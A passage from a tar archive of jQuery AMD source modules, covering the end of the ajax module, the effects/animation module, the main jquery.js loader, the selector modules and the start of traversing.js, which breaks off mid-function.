// A special extend for ajax options // that takes "flat" options (not to be deep extended) // Fixes #9887 function ajaxExtend( target, src ) { var key, deep, flatOptions = jQuery.ajaxSettings.flatOptions || {}; for ( key in src ) { if ( src[ key ] !== undefined ) { ( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ]; } } if ( deep ) { jQuery.extend( true, target, deep ); } return target; } /* Handles responses to an ajax request: * - finds the right dataType (mediates between content-type and expected dataType) * - returns the corresponding response */ function ajaxHandleResponses( s, jqXHR, responses ) { var ct, type, finalDataType, firstDataType, contents = s.contents, dataTypes = s.dataTypes; // Remove auto dataType and get content-type in the process while ( dataTypes[ 0 ] === "*" ) { dataTypes.shift(); if ( ct === undefined ) { ct = s.mimeType || jqXHR.getResponseHeader( "Content-Type" ); } } // Check if we're dealing with a known content-type if ( ct ) { for ( type in contents ) { if ( contents[ type ] && contents[ type ].test( ct ) ) { dataTypes.unshift( type ); break; } } } // Check to see if we have a response for the expected dataType if ( dataTypes[ 0 ] in responses ) { finalDataType = dataTypes[ 0 ]; } else { // Try convertible dataTypes for ( type in responses ) { if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[ 0 ] ] ) { finalDataType = type; break; } if ( !firstDataType ) { firstDataType = type; } } // Or just use first one finalDataType = finalDataType || firstDataType; } // If we found a dataType // We add the dataType to the list if needed // and return the corresponding response if ( finalDataType ) { if ( finalDataType !== dataTypes[ 0 ] ) { dataTypes.unshift( finalDataType ); } return responses[ finalDataType ]; } } /* Chain conversions given the request and the original response * Also sets the responseXXX fields on the jqXHR instance */ function ajaxConvert( s, response, jqXHR, isSuccess ) { var conv2, current, conv, tmp, prev, converters = {}, // Work with a copy of dataTypes in case we need to modify it for conversion dataTypes = s.dataTypes.slice(); // Create converters map with lowercased keys if ( dataTypes[ 1 ] ) { for ( conv in s.converters ) { converters[ conv.toLowerCase() ] = s.converters[ conv ]; } } current = dataTypes.shift(); // Convert to each sequential dataType while ( current ) { if ( s.responseFields[ current ] ) { jqXHR[ s.responseFields[ current ] ] = response; } // Apply the dataFilter if provided if ( !prev && isSuccess && s.dataFilter ) { response = s.dataFilter( response, s.dataType ); } prev = current; current = dataTypes.shift(); if ( current ) { // There's only work to do if current dataType is non-auto if ( current === "*" ) { current = prev; // Convert response if prev dataType is non-auto and differs from current } else if ( prev !== "*" && prev !== current ) { // Seek a direct converter conv = converters[ prev + " " + current ] || converters[ "* " + current ]; // If none found, seek a pair if ( !conv ) { for ( conv2 in converters ) { // If conv2 outputs current tmp = conv2.split( " " ); if ( tmp[ 1 ] === current ) { // If prev can be converted to accepted input conv = converters[ prev + " " + tmp[ 0 ] ] || converters[ "* " + tmp[ 0 ] ]; if ( conv ) { // Condense equivalence converters if ( conv === true ) { conv = converters[ conv2 ]; // Otherwise, insert the intermediate dataType } else if ( converters[ conv2 ] !== true ) { current = tmp[ 0 ]; dataTypes.unshift( tmp[ 1 ] ); } break; } } } } // Apply converter (if not an equivalence) if ( conv !== true ) { // Unless errors are allowed to bubble, catch and return them if ( conv && s.throws ) { response = conv( response ); } else { try { response = conv( response ); } catch ( e ) { return { state: "parsererror", error: conv ? e : "No conversion from " + prev + " to " + current }; } } } } } } return { state: "success", data: response }; } jQuery.extend( { // Counter for holding the number of active queries active: 0, // Last-Modified header cache for next request lastModified: {}, etag: {}, ajaxSettings: { url: location.href, type: "GET", isLocal: rlocalProtocol.test( location.protocol ), global: true, processData: true, async: true, contentType: "application/x-www-form-urlencoded; charset=UTF-8", /* timeout: 0, data: null, dataType: null, username: null, password: null, cache: null, throws: false, traditional: false, headers: {}, */ accepts: { "*": allTypes, text: "text/plain", html: "text/html", xml: "application/xml, text/xml", json: "application/json, text/javascript" }, contents: { xml: /\bxml\b/, html: /\bhtml/, json: /\bjson\b/ }, responseFields: { xml: "responseXML", text: "responseText", json: "responseJSON" }, // Data converters // Keys separate source (or catchall "*") and destination types with a single space converters: { // Convert anything to text "* text": String, // Text to html (true = no transformation) "text html": true, // Evaluate text as a json expression "text json": JSON.parse, // Parse text as xml "text xml": jQuery.parseXML }, // For options that shouldn't be deep extended: // you can add your own custom options here if // and when you create one that shouldn't be // deep extended (see ajaxExtend) flatOptions: { url: true, context: true } }, // Creates a full fledged settings object into target // with both ajaxSettings and settings fields. // If target is omitted, writes into ajaxSettings. ajaxSetup: function( target, settings ) { return settings ? // Building a settings object ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) : // Extending ajaxSettings ajaxExtend( jQuery.ajaxSettings, target ); }, ajaxPrefilter: addToPrefiltersOrTransports( prefilters ), ajaxTransport: addToPrefiltersOrTransports( transports ), // Main method ajax: function( url, options ) { // If url is an object, simulate pre-1.5 signature if ( typeof url === "object" ) { options = url; url = undefined; } // Force options to be an object options = options || {}; var transport, // URL without anti-cache param cacheURL, // Response headers responseHeadersString, responseHeaders, // timeout handle timeoutTimer, // Url cleanup var urlAnchor, // Request state (becomes false upon send and true upon completion) completed, // To know if global events are to be dispatched fireGlobals, // Loop variable i, // uncached part of the url uncached, // Create the final options object s = jQuery.ajaxSetup( {}, options ), // Callbacks context callbackContext = s.context || s, // Context for global events is callbackContext if it is a DOM node or jQuery collection globalEventContext = s.context && ( callbackContext.nodeType || callbackContext.jquery ) ? jQuery( callbackContext ) : jQuery.event, // Deferreds deferred = jQuery.Deferred(), completeDeferred = jQuery.Callbacks( "once memory" ), // Status-dependent callbacks statusCode = s.statusCode || {}, // Headers (they are sent all at once) requestHeaders = {}, requestHeadersNames = {}, // Default abort message strAbort = "canceled", // Fake xhr jqXHR = { readyState: 0, // Builds headers hashtable if needed getResponseHeader: function( key ) { var match; if ( completed ) { if ( !responseHeaders ) { responseHeaders = {}; while ( ( match = rheaders.exec( responseHeadersString ) ) ) { responseHeaders[ match[ 1 ].toLowerCase() ] = match[ 2 ]; } } match = responseHeaders[ key.toLowerCase() ]; } return match == null ? null : match; }, // Raw string getAllResponseHeaders: function() { return completed ? responseHeadersString : null; }, // Caches the header setRequestHeader: function( name, value ) { if ( completed == null ) { name = requestHeadersNames[ name.toLowerCase() ] = requestHeadersNames[ name.toLowerCase() ] || name; requestHeaders[ name ] = value; } return this; }, // Overrides response content-type header overrideMimeType: function( type ) { if ( completed == null ) { s.mimeType = type; } return this; }, // Status-dependent callbacks statusCode: function( map ) { var code; if ( map ) { if ( completed ) { // Execute the appropriate callbacks jqXHR.always( map[ jqXHR.status ] ); } else { // Lazy-add the new callbacks in a way that preserves old ones for ( code in map ) { statusCode[ code ] = [ statusCode[ code ], map[ code ] ]; } } } return this; }, // Cancel the request abort: function( statusText ) { var finalText = statusText || strAbort; if ( transport ) { transport.abort( finalText ); } done( 0, finalText ); return this; } }; // Attach deferreds deferred.promise( jqXHR ); // Add protocol if not provided (prefilters might expect it) // Handle falsy url in the settings object (#10093: consistency with old signature) // We also use the url parameter if available s.url = ( ( url || s.url || location.href ) + "" ) .replace( rprotocol, location.protocol + "//" ); // Alias method option to type as per ticket #12004 s.type = options.method || options.type || s.method || s.type; // Extract dataTypes list s.dataTypes = ( s.dataType || "*" ).toLowerCase().match( rnothtmlwhite ) || [ "" ]; // A cross-domain request is in order when the origin doesn't match the current origin. if ( s.crossDomain == null ) { urlAnchor = document.createElement( "a" ); // Support: IE <=8 - 11, Edge 12 - 15 // IE throws exception on accessing the href property if url is malformed, // e.g. http://example.com:80x/ try { urlAnchor.href = s.url; // Support: IE <=8 - 11 only // Anchor's host property isn't correctly set when s.url is relative urlAnchor.href = urlAnchor.href; s.crossDomain = originAnchor.protocol + "//" + originAnchor.host !== urlAnchor.protocol + "//" + urlAnchor.host; } catch ( e ) { // If there is an error parsing the URL, assume it is crossDomain, // it can be rejected by the transport if it is invalid s.crossDomain = true; } } // Convert data if not already a string if ( s.data && s.processData && typeof s.data !== "string" ) { s.data = jQuery.param( s.data, s.traditional ); } // Apply prefilters inspectPrefiltersOrTransports( prefilters, s, options, jqXHR ); // If request was aborted inside a prefilter, stop there if ( completed ) { return jqXHR; } // We can fire global events as of now if asked to // Don't fire events if jQuery.event is undefined in an AMD-usage scenario (#15118) fireGlobals = jQuery.event && s.global; // Watch for a new set of requests if ( fireGlobals && jQuery.active++ === 0 ) { jQuery.event.trigger( "ajaxStart" ); } // Uppercase the type s.type = s.type.toUpperCase(); // Determine if request has content s.hasContent = !rnoContent.test( s.type ); // Save the URL in case we're toying with the If-Modified-Since // and/or If-None-Match header later on // Remove hash to simplify url manipulation cacheURL = s.url.replace( rhash, "" ); // More options handling for requests with no content if ( !s.hasContent ) { // Remember the hash so we can put it back uncached = s.url.slice( cacheURL.length ); // If data is available and should be processed, append data to url if ( s.data && ( s.processData || typeof s.data === "string" ) ) { cacheURL += ( rquery.test( cacheURL ) ? "&" : "?" ) + s.data; // #9682: remove data so that it's not used in an eventual retry delete s.data; } // Add or update anti-cache param if needed if ( s.cache === false ) { cacheURL = cacheURL.replace( rantiCache, "$1" ); uncached = ( rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + ( nonce++ ) + uncached; } // Put hash and anti-cache on the URL that will be requested (gh-1732) s.url = cacheURL + uncached; // Change '%20' to '+' if this is encoded form body content (gh-2658) } else if ( s.data && s.processData && ( s.contentType || "" ).indexOf( "application/x-www-form-urlencoded" ) === 0 ) { s.data = s.data.replace( r20, "+" ); } // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. if ( s.ifModified ) { if ( jQuery.lastModified[ cacheURL ] ) { jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] ); } if ( jQuery.etag[ cacheURL ] ) { jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] ); } } // Set the correct header, if data is being sent if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) { jqXHR.setRequestHeader( "Content-Type", s.contentType ); } // Set the Accepts header for the server, depending on the dataType jqXHR.setRequestHeader( "Accept", s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ? s.accepts[ s.dataTypes[ 0 ] ] + ( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) : s.accepts[ "*" ] ); // Check for headers option for ( i in s.headers ) { jqXHR.setRequestHeader( i, s.headers[ i ] ); } // Allow custom headers/mimetypes and early abort if ( s.beforeSend && ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || completed ) ) { // Abort if not done already and return return jqXHR.abort(); } // Aborting is no longer a cancellation strAbort = "abort"; // Install callbacks on deferreds completeDeferred.add( s.complete ); jqXHR.done( s.success ); jqXHR.fail( s.error ); // Get transport transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR ); // If no transport, we auto-abort if ( !transport ) { done( -1, "No Transport" ); } else { jqXHR.readyState = 1; // Send global event if ( fireGlobals ) { globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] ); } // If request was aborted inside ajaxSend, stop there if ( completed ) { return jqXHR; } // Timeout if ( s.async && s.timeout > 0 ) { timeoutTimer = window.setTimeout( function() { jqXHR.abort( "timeout" ); }, s.timeout ); } try { completed = false; transport.send( requestHeaders, done ); } catch ( e ) { // Rethrow post-completion exceptions if ( completed ) { throw e; } // Propagate others as results done( -1, e ); } } // Callback for when everything is done function done( status, nativeStatusText, responses, headers ) { var isSuccess, success, error, response, modified, statusText = nativeStatusText; // Ignore repeat invocations if ( completed ) { return; } completed = true; // Clear timeout if it exists if ( timeoutTimer ) { window.clearTimeout( timeoutTimer ); } // Dereference transport for early garbage collection // (no matter how long the jqXHR object will be used) transport = undefined; // Cache response headers responseHeadersString = headers || ""; // Set readyState jqXHR.readyState = status > 0 ? 4 : 0; // Determine if successful isSuccess = status >= 200 && status < 300 || status === 304; // Get response data if ( responses ) { response = ajaxHandleResponses( s, jqXHR, responses ); } // Convert no matter what (that way responseXXX fields are always set) response = ajaxConvert( s, response, jqXHR, isSuccess ); // If successful, handle type chaining if ( isSuccess ) { // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. if ( s.ifModified ) { modified = jqXHR.getResponseHeader( "Last-Modified" ); if ( modified ) { jQuery.lastModified[ cacheURL ] = modified; } modified = jqXHR.getResponseHeader( "etag" ); if ( modified ) { jQuery.etag[ cacheURL ] = modified; } } // if no content if ( status === 204 || s.type === "HEAD" ) { statusText = "nocontent"; // if not modified } else if ( status === 304 ) { statusText = "notmodified"; // If we have data, let's convert it } else { statusText = response.state; success = response.data; error = response.error; isSuccess = !error; } } else { // Extract error from statusText and normalize for non-aborts error = statusText; if ( status || !statusText ) { statusText = "error"; if ( status < 0 ) { status = 0; } } } // Set data for the fake xhr object jqXHR.status = status; jqXHR.statusText = ( nativeStatusText || statusText ) + ""; // Success/Error if ( isSuccess ) { deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] ); } else { deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] ); } // Status-dependent callbacks jqXHR.statusCode( statusCode ); statusCode = undefined; if ( fireGlobals ) { globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError", [ jqXHR, s, isSuccess ? success : error ] ); } // Complete completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] ); if ( fireGlobals ) { globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] ); // Handle the global AJAX counter if ( !( --jQuery.active ) ) { jQuery.event.trigger( "ajaxStop" ); } } } return jqXHR; }, getJSON: function( url, data, callback ) { return jQuery.get( url, data, callback, "json" ); }, getScript: function( url, callback ) { return jQuery.get( url, undefined, callback, "script" ); } } ); jQuery.each( [ "get", "post" ], function( i, method ) { jQuery[ method ] = function( url, data, callback, type ) { // Shift arguments if data argument was omitted if ( isFunction( data ) ) { type = type || callback; callback = data; data = undefined; } // The url can be an options object (which then must have .url) return jQuery.ajax( jQuery.extend( { url: url, type: method, dataType: type, data: data, success: callback }, jQuery.isPlainObject( url ) && url ) ); }; } ); return jQuery; } ); effects.js000064400000043355151677373670006561 0ustar00define( [ "./core", "./core/camelCase", "./var/document", "./var/isFunction", "./var/rcssNum", "./var/rnothtmlwhite", "./css/var/cssExpand", "./css/var/isHiddenWithinTree", "./css/var/swap", "./css/adjustCSS", "./data/var/dataPriv", "./css/showHide", "./core/init", "./queue", "./deferred", "./traversing", "./manipulation", "./css", "./effects/Tween" ], function( jQuery, camelCase, document, isFunction, rcssNum, rnothtmlwhite, cssExpand, isHiddenWithinTree, swap, adjustCSS, dataPriv, showHide ) { "use strict"; var fxNow, inProgress, rfxtypes = /^(?:toggle|show|hide)$/, rrun = /queueHooks$/; function schedule() { if ( inProgress ) { if ( document.hidden === false && window.requestAnimationFrame ) { window.requestAnimationFrame( schedule ); } else { window.setTimeout( schedule, jQuery.fx.interval ); } jQuery.fx.tick(); } } // Animations created synchronously will run synchronously function createFxNow() { window.setTimeout( function() { fxNow = undefined; } ); return ( fxNow = Date.now() ); } // Generate parameters to create a standard animation function genFx( type, includeWidth ) { var which, i = 0, attrs = { height: type }; // If we include width, step value is 1 to do all cssExpand values, // otherwise step value is 2 to skip over Left and Right includeWidth = includeWidth ? 1 : 0; for ( ; i < 4; i += 2 - includeWidth ) { which = cssExpand[ i ]; attrs[ "margin" + which ] = attrs[ "padding" + which ] = type; } if ( includeWidth ) { attrs.opacity = attrs.width = type; } return attrs; } function createTween( value, prop, animation ) { var tween, collection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ "*" ] ), index = 0, length = collection.length; for ( ; index < length; index++ ) { if ( ( tween = collection[ index ].call( animation, prop, value ) ) ) { // We're done with this property return tween; } } } function defaultPrefilter( elem, props, opts ) { var prop, value, toggle, hooks, oldfire, propTween, restoreDisplay, display, isBox = "width" in props || "height" in props, anim = this, orig = {}, style = elem.style, hidden = elem.nodeType && isHiddenWithinTree( elem ), dataShow = dataPriv.get( elem, "fxshow" ); // Queue-skipping animations hijack the fx hooks if ( !opts.queue ) { hooks = jQuery._queueHooks( elem, "fx" ); if ( hooks.unqueued == null ) { hooks.unqueued = 0; oldfire = hooks.empty.fire; hooks.empty.fire = function() { if ( !hooks.unqueued ) { oldfire(); } }; } hooks.unqueued++; anim.always( function() { // Ensure the complete handler is called before this completes anim.always( function() { hooks.unqueued--; if ( !jQuery.queue( elem, "fx" ).length ) { hooks.empty.fire(); } } ); } ); } // Detect show/hide animations for ( prop in props ) { value = props[ prop ]; if ( rfxtypes.test( value ) ) { delete props[ prop ]; toggle = toggle || value === "toggle"; if ( value === ( hidden ? "hide" : "show" ) ) { // Pretend to be hidden if this is a "show" and // there is still data from a stopped show/hide if ( value === "show" && dataShow && dataShow[ prop ] !== undefined ) { hidden = true; // Ignore all other no-op show/hide data } else { continue; } } orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop ); } } // Bail out if this is a no-op like .hide().hide() propTween = !jQuery.isEmptyObject( props ); if ( !propTween && jQuery.isEmptyObject( orig ) ) { return; } // Restrict "overflow" and "display" styles during box animations if ( isBox && elem.nodeType === 1 ) { // Support: IE <=9 - 11, Edge 12 - 15 // Record all 3 overflow attributes because IE does not infer the shorthand // from identically-valued overflowX and overflowY and Edge just mirrors // the overflowX value there. opts.overflow = [ style.overflow, style.overflowX, style.overflowY ]; // Identify a display type, preferring old show/hide data over the CSS cascade restoreDisplay = dataShow && dataShow.display; if ( restoreDisplay == null ) { restoreDisplay = dataPriv.get( elem, "display" ); } display = jQuery.css( elem, "display" ); if ( display === "none" ) { if ( restoreDisplay ) { display = restoreDisplay; } else { // Get nonempty value(s) by temporarily forcing visibility showHide( [ elem ], true ); restoreDisplay = elem.style.display || restoreDisplay; display = jQuery.css( elem, "display" ); showHide( [ elem ] ); } } // Animate inline elements as inline-block if ( display === "inline" || display === "inline-block" && restoreDisplay != null ) { if ( jQuery.css( elem, "float" ) === "none" ) { // Restore the original display value at the end of pure show/hide animations if ( !propTween ) { anim.done( function() { style.display = restoreDisplay; } ); if ( restoreDisplay == null ) { display = style.display; restoreDisplay = display === "none" ? "" : display; } } style.display = "inline-block"; } } } if ( opts.overflow ) { style.overflow = "hidden"; anim.always( function() { style.overflow = opts.overflow[ 0 ]; style.overflowX = opts.overflow[ 1 ]; style.overflowY = opts.overflow[ 2 ]; } ); } // Implement show/hide animations propTween = false; for ( prop in orig ) { // General show/hide setup for this element animation if ( !propTween ) { if ( dataShow ) { if ( "hidden" in dataShow ) { hidden = dataShow.hidden; } } else { dataShow = dataPriv.access( elem, "fxshow", { display: restoreDisplay } ); } // Store hidden/visible for toggle so `.stop().toggle()` "reverses" if ( toggle ) { dataShow.hidden = !hidden; } // Show elements before animating them if ( hidden ) { showHide( [ elem ], true ); } /* eslint-disable no-loop-func */ anim.done( function() { /* eslint-enable no-loop-func */ // The final step of a "hide" animation is actually hiding the element if ( !hidden ) { showHide( [ elem ] ); } dataPriv.remove( elem, "fxshow" ); for ( prop in orig ) { jQuery.style( elem, prop, orig[ prop ] ); } } ); } // Per-property setup propTween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim ); if ( !( prop in dataShow ) ) { dataShow[ prop ] = propTween.start; if ( hidden ) { propTween.end = propTween.start; propTween.start = 0; } } } } function propFilter( props, specialEasing ) { var index, name, easing, value, hooks; // camelCase, specialEasing and expand cssHook pass for ( index in props ) { name = camelCase( index ); easing = specialEasing[ name ]; value = props[ index ]; if ( Array.isArray( value ) ) { easing = value[ 1 ]; value = props[ index ] = value[ 0 ]; } if ( index !== name ) { props[ name ] = value; delete props[ index ]; } hooks = jQuery.cssHooks[ name ]; if ( hooks && "expand" in hooks ) { value = hooks.expand( value ); delete props[ name ]; // Not quite $.extend, this won't overwrite existing keys. // Reusing 'index' because we have the correct "name" for ( index in value ) { if ( !( index in props ) ) { props[ index ] = value[ index ]; specialEasing[ index ] = easing; } } } else { specialEasing[ name ] = easing; } } } function Animation( elem, properties, options ) { var result, stopped, index = 0, length = Animation.prefilters.length, deferred = jQuery.Deferred().always( function() { // Don't match elem in the :animated selector delete tick.elem; } ), tick = function() { if ( stopped ) { return false; } var currentTime = fxNow || createFxNow(), remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ), // Support: Android 2.3 only // Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (#12497) temp = remaining / animation.duration || 0, percent = 1 - temp, index = 0, length = animation.tweens.length; for ( ; index < length; index++ ) { animation.tweens[ index ].run( percent ); } deferred.notifyWith( elem, [ animation, percent, remaining ] ); // If there's more to do, yield if ( percent < 1 && length ) { return remaining; } // If this was an empty animation, synthesize a final progress notification if ( !length ) { deferred.notifyWith( elem, [ animation, 1, 0 ] ); } // Resolve the animation and report its conclusion deferred.resolveWith( elem, [ animation ] ); return false; }, animation = deferred.promise( { elem: elem, props: jQuery.extend( {}, properties ), opts: jQuery.extend( true, { specialEasing: {}, easing: jQuery.easing._default }, options ), originalProperties: properties, originalOptions: options, startTime: fxNow || createFxNow(), duration: options.duration, tweens: [], createTween: function( prop, end ) { var tween = jQuery.Tween( elem, animation.opts, prop, end, animation.opts.specialEasing[ prop ] || animation.opts.easing ); animation.tweens.push( tween ); return tween; }, stop: function( gotoEnd ) { var index = 0, // If we are going to the end, we want to run all the tweens // otherwise we skip this part length = gotoEnd ? animation.tweens.length : 0; if ( stopped ) { return this; } stopped = true; for ( ; index < length; index++ ) { animation.tweens[ index ].run( 1 ); } // Resolve when we played the last frame; otherwise, reject if ( gotoEnd ) { deferred.notifyWith( elem, [ animation, 1, 0 ] ); deferred.resolveWith( elem, [ animation, gotoEnd ] ); } else { deferred.rejectWith( elem, [ animation, gotoEnd ] ); } return this; } } ), props = animation.props; propFilter( props, animation.opts.specialEasing ); for ( ; index < length; index++ ) { result = Animation.prefilters[ index ].call( animation, elem, props, animation.opts ); if ( result ) { if ( isFunction( result.stop ) ) { jQuery._queueHooks( animation.elem, animation.opts.queue ).stop = result.stop.bind( result ); } return result; } } jQuery.map( props, createTween, animation ); if ( isFunction( animation.opts.start ) ) { animation.opts.start.call( elem, animation ); } // Attach callbacks from options animation .progress( animation.opts.progress ) .done( animation.opts.done, animation.opts.complete ) .fail( animation.opts.fail ) .always( animation.opts.always ); jQuery.fx.timer( jQuery.extend( tick, { elem: elem, anim: animation, queue: animation.opts.queue } ) ); return animation; } jQuery.Animation = jQuery.extend( Animation, { tweeners: { "*": [ function( prop, value ) { var tween = this.createTween( prop, value ); adjustCSS( tween.elem, prop, rcssNum.exec( value ), tween ); return tween; } ] }, tweener: function( props, callback ) { if ( isFunction( props ) ) { callback = props; props = [ "*" ]; } else { props = props.match( rnothtmlwhite ); } var prop, index = 0, length = props.length; for ( ; index < length; index++ ) { prop = props[ index ]; Animation.tweeners[ prop ] = Animation.tweeners[ prop ] || []; Animation.tweeners[ prop ].unshift( callback ); } }, prefilters: [ defaultPrefilter ], prefilter: function( callback, prepend ) { if ( prepend ) { Animation.prefilters.unshift( callback ); } else { Animation.prefilters.push( callback ); } } } ); jQuery.speed = function( speed, easing, fn ) { var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : { complete: fn || !fn && easing || isFunction( speed ) && speed, duration: speed, easing: fn && easing || easing && !isFunction( easing ) && easing }; // Go to the end state if fx are off if ( jQuery.fx.off ) { opt.duration = 0; } else { if ( typeof opt.duration !== "number" ) { if ( opt.duration in jQuery.fx.speeds ) { opt.duration = jQuery.fx.speeds[ opt.duration ]; } else { opt.duration = jQuery.fx.speeds._default; } } } // Normalize opt.queue - true/undefined/null -> "fx" if ( opt.queue == null || opt.queue === true ) { opt.queue = "fx"; } // Queueing opt.old = opt.complete; opt.complete = function() { if ( isFunction( opt.old ) ) { opt.old.call( this ); } if ( opt.queue ) { jQuery.dequeue( this, opt.queue ); } }; return opt; }; jQuery.fn.extend( { fadeTo: function( speed, to, easing, callback ) { // Show any hidden elements after setting opacity to 0 return this.filter( isHiddenWithinTree ).css( "opacity", 0 ).show() // Animate to the value specified .end().animate( { opacity: to }, speed, easing, callback ); }, animate: function( prop, speed, easing, callback ) { var empty = jQuery.isEmptyObject( prop ), optall = jQuery.speed( speed, easing, callback ), doAnimation = function() { // Operate on a copy of prop so per-property easing won't be lost var anim = Animation( this, jQuery.extend( {}, prop ), optall ); // Empty animations, or finishing resolves immediately if ( empty || dataPriv.get( this, "finish" ) ) { anim.stop( true ); } }; doAnimation.finish = doAnimation; return empty || optall.queue === false ? this.each( doAnimation ) : this.queue( optall.queue, doAnimation ); }, stop: function( type, clearQueue, gotoEnd ) { var stopQueue = function( hooks ) { var stop = hooks.stop; delete hooks.stop; stop( gotoEnd ); }; if ( typeof type !== "string" ) { gotoEnd = clearQueue; clearQueue = type; type = undefined; } if ( clearQueue && type !== false ) { this.queue( type || "fx", [] ); } return this.each( function() { var dequeue = true, index = type != null && type + "queueHooks", timers = jQuery.timers, data = dataPriv.get( this ); if ( index ) { if ( data[ index ] && data[ index ].stop ) { stopQueue( data[ index ] ); } } else { for ( index in data ) { if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) { stopQueue( data[ index ] ); } } } for ( index = timers.length; index--; ) { if ( timers[ index ].elem === this && ( type == null || timers[ index ].queue === type ) ) { timers[ index ].anim.stop( gotoEnd ); dequeue = false; timers.splice( index, 1 ); } } // Start the next in the queue if the last step wasn't forced. // Timers currently will call their complete callbacks, which // will dequeue but only if they were gotoEnd. if ( dequeue || !gotoEnd ) { jQuery.dequeue( this, type ); } } ); }, finish: function( type ) { if ( type !== false ) { type = type || "fx"; } return this.each( function() { var index, data = dataPriv.get( this ), queue = data[ type + "queue" ], hooks = data[ type + "queueHooks" ], timers = jQuery.timers, length = queue ? queue.length : 0; // Enable finishing flag on private data data.finish = true; // Empty the queue first jQuery.queue( this, type, [] ); if ( hooks && hooks.stop ) { hooks.stop.call( this, true ); } // Look for any active animations, and finish them for ( index = timers.length; index--; ) { if ( timers[ index ].elem === this && timers[ index ].queue === type ) { timers[ index ].anim.stop( true ); timers.splice( index, 1 ); } } // Look for any animations in the old queue and finish them for ( index = 0; index < length; index++ ) { if ( queue[ index ] && queue[ index ].finish ) { queue[ index ].finish.call( this ); } } // Turn off finishing flag delete data.finish; } ); } } ); jQuery.each( [ "toggle", "show", "hide" ], function( i, name ) { var cssFn = jQuery.fn[ name ]; jQuery.fn[ name ] = function( speed, easing, callback ) { return speed == null || typeof speed === "boolean" ? cssFn.apply( this, arguments ) : this.animate( genFx( name, true ), speed, easing, callback ); }; } ); // Generate shortcuts for custom animations jQuery.each( { slideDown: genFx( "show" ), slideUp: genFx( "hide" ), slideToggle: genFx( "toggle" ), fadeIn: { opacity: "show" }, fadeOut: { opacity: "hide" }, fadeToggle: { opacity: "toggle" } }, function( name, props ) { jQuery.fn[ name ] = function( speed, easing, callback ) { return this.animate( props, speed, easing, callback ); }; } ); jQuery.timers = []; jQuery.fx.tick = function() { var timer, i = 0, timers = jQuery.timers; fxNow = Date.now(); for ( ; i < timers.length; i++ ) { timer = timers[ i ]; // Run the timer and safely remove it when done (allowing for external removal) if ( !timer() && timers[ i ] === timer ) { timers.splice( i--, 1 ); } } if ( !timers.length ) { jQuery.fx.stop(); } fxNow = undefined; }; jQuery.fx.timer = function( timer ) { jQuery.timers.push( timer ); jQuery.fx.start(); }; jQuery.fx.interval = 13; jQuery.fx.start = function() { if ( inProgress ) { return; } inProgress = true; schedule(); }; jQuery.fx.stop = function() { inProgress = null; }; jQuery.fx.speeds = { slow: 600, fast: 200, // Default speed _default: 400 }; return jQuery; } ); jquery.js000064400000001226151677373670006450 0ustar00define( [ "./core", "./selector", "./traversing", "./callbacks", "./deferred", "./deferred/exceptionHook", "./core/ready", "./data", "./queue", "./queue/delay", "./attributes", "./event", "./event/focusin", "./manipulation", "./manipulation/_evalUrl", "./wrap", "./css", "./css/hiddenVisibleSelectors", "./serialize", "./ajax", "./ajax/xhr", "./ajax/script", "./ajax/jsonp", "./ajax/load", "./event/ajax", "./effects", "./effects/animatedSelector", "./offset", "./dimensions", "./deprecated", "./exports/amd", "./exports/global" ], function( jQuery ) { "use strict"; return jQuery; } ); selector-sizzle.js000064400000000656151677373670010275 0ustar00define( [ "./core", "../external/sizzle/dist/sizzle" ], function( jQuery, Sizzle ) { "use strict"; jQuery.find = Sizzle; jQuery.expr = Sizzle.selectors; // Deprecated jQuery.expr[ ":" ] = jQuery.expr.pseudos; jQuery.uniqueSort = jQuery.unique = Sizzle.uniqueSort; jQuery.text = Sizzle.getText; jQuery.isXMLDoc = Sizzle.isXML; jQuery.contains = Sizzle.contains; jQuery.escapeSelector = Sizzle.escape; } ); selector.js000064400000000105151677373670006744 0ustar00define( [ "./selector-sizzle" ], function() { "use strict"; } ); traversing.js000064400000011204151677373670007312 0ustar00define( [ "./core", "./var/indexOf", "./traversing/var/dir", "./traversing/var/siblings", "./traversing/var/rneedsContext", "./core/nodeName", "./core/init", "./traversing/findFilter", "./selector" ], function( jQuery, indexOf, dir, siblings, rneedsContext, nodeName ) { "use strict"; var rparentsprev = /^(?:parents|prev(?:Until|All))/, // Methods guaranteed to produce a unique set when starting from a unique set guaranteedUnique = { children: true, contents: true, next: true, prev: true }; jQuery.fn.extend( { has: function( target ) { var targets = jQuery( target, this ), l = targets.length; return this.filter( function() { var i = 0; for ( ; i < l; i++ ) { if ( jQuery.contains( this, targets[ i ] ) ) { return true; } } } ); }, closest: function( selectors, context ) { var cur, i = 0, l = this.length, matched = [], targets = typeof selectors !== "string" && jQuery( selectors ); // Positional selectors never match, since there's no _selection_ context if ( !rneedsContext.test( selectors ) ) { for ( ; i < l; i++ ) { for ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) { // Always skip document fragments if ( cur.nodeType < 11 && ( targets ? targets.index( cur ) > -1 : // Don't pass non-elements to Sizzle cur.nodeType === 1 && jQuery.find.matchesSelector( cur, selectors ) ) ) { matched.push( cur ); 